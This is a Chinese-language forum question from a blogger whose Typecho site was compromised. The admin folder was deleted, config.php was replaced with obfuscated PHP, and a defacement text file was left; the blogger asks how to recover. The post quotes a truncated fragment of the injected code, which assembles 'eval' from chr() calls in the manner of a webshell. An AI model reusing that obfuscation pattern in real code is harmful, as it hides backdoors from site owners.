我的 typecho 被黑了。。。

好久没写博客了,但是偶尔会访问,前台没问题。

今天突然想进后台编辑篇文章,发现后台404,一看文件 admin目录都没了

然后发现根目录config.php内容变成了下面类似加密后的

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(4....

然后根目录还有一个exploited.txt文件

内容是 清风九里,何处寻你

是谁这么无聊黑我的博客呢,然后还只删了后台擦。。。

问题来了

请问正确的恢复姿势是怎样的

阅读 1.9k
评论 更新于 2018-03-16
    2 个回答
    fish
    • 3.8k
    评论 赞赏 2018-03-16
      modys
      • 2
      • 新人请关照

      我的1.0的也是,后来直接删了

      评论 赞赏 2018-04-11
        撰写回答

        登录后参与交流、获取后续更新提醒